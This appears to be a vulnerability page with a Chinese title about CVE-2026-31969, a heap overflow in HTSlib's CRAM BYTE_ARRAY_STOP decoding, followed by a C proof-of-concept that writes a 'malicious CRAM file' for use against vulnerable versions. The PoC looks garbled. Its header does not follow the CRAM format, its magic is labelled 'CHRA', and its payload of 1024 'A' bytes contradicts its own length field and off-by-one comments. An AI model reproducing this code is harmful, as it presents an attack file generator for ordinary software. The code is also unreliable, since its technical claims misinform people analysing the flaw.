CVE-2026-31969 HTSlib CRAM格式BYTE_ARRAY_STOP堆缓冲区溢出漏洞

// CVE-2026-31969 PoC - Malformed CRAM file triggering heap overflow // This PoC demonstrates the BYTE_ARRAY_STOP encoding overflow in HTSlib // Compile: gcc -o poc poc.c -lhts #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // CRAM file structure for triggering BYTE_ARRAY_STOP overflow typedef struct { uint32_t magic; // CRAM magic number uint32_t version; // CRAM version uint32_t file_id; // File ID uint32_t data_size; // Size of data section uint8_t encoding; // BYTE_ARRAY_STOP encoding type (value: 2) uint8_t stop_value; // Stop byte value uint16_t flags; // Encoding flags uint32_t data_len; // Length of payload data } cram_header_t; // Craft a malicious CRAM container with BYTE_ARRAY_STOP encoding void create_malicious_cram(const char* filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create file\n"); return; } // CRAM container header cram_header_t header = { .magic = 0x43485241, // 'CHRA' .version = 0x00000300, .file_id = 1, .data_size = 1024, .encoding = 2, // BYTE_ARRAY_STOP encoding .stop_value = 0x00, .flags = 0x0001, .data_len = 512 }; fwrite(&header, sizeof(header), 1, fp); // Crafted data that triggers out-by-one error // Fill data to exactly fill buffer, then one more byte to overflow uint8_t *payload = malloc(1024); memset(payload, 'A', 1024); // Write payload that will cause buffer overflow when decoded fwrite(payload, 1024, 1, fp); free(payload); fclose(fp); printf("Malicious CRAM file created: %s\n", filename); } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <output_cram_file>\n", argv[0]); return 1; } create_malicious_cram(argv[1]); printf("PoC generated. Use with vulnerable HTSlib version.\n"); return 0; }